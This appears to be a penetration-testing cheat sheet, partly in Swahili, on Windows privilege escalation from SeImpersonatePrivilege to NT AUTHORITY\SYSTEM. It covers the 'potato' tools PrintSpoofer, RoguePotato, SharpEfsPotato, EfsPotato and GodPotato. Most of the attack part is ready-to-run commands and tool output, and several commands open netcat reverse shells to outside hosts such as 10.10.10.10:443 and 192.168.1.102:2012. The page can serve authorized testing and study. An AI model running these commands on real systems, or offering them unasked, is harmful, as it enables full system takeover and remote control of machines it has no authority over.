RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

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JuicyPotato haitumiki kwenye Windows Server 2019 na Windows 10 build 1809 kuendelea. Hata hivyo, PrintSpoofer, RoguePotato, SharpEfsPotato, GodPotato, EfsPotato, DCOMPotato** zinaweza kutumika kuongeza mamlaka sawa na kupata NT AUTHORITY\SYSTEM kiwango cha ufikiaji. Hii blog post inaelezea kwa undani kuhusu zana ya PrintSpoofer, ambayo inaweza kutumika kutumia mamlaka ya uigaji kwenye Windows 10 na Server 2019 ambapo JuicyPotato haitumiki tena.

Quick Demo

PrintSpoofer

c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"

--------------------------------------------------------------------------------

[+] Found privilege: SeImpersonatePrivilege

[+] Named pipe listening...

[+] CreateProcessAsUser() OK

NULL

RoguePotato

c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999

SharpEfsPotato

> SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.

[+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!

C:\temp>type C:\temp\w.log
nt authority\system

EfsPotato

> EfsPotato.exe "whoami"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=aeee30)
[+] Get Token: 888
[!] process with pid: 3696 created.
==============================
[x] EfsRpcEncryptFileSrv failed: 1818

nt authority\system

GodPotato

> GodPotato -cmd "cmd /c whoami"
# You can achieve a reverse shell like this.
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"

DCOMPotato

image

References

• https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/

• https://github.com/itm4n/PrintSpoofer

• https://github.com/antonioCoco/RoguePotato

• https://github.com/bugch3ck/SharpEfsPotato

• https://github.com/BeichenDream/GodPotato

• https://github.com/zcgonvh/EfsPotato

• https://github.com/zcgonvh/DCOMPotato

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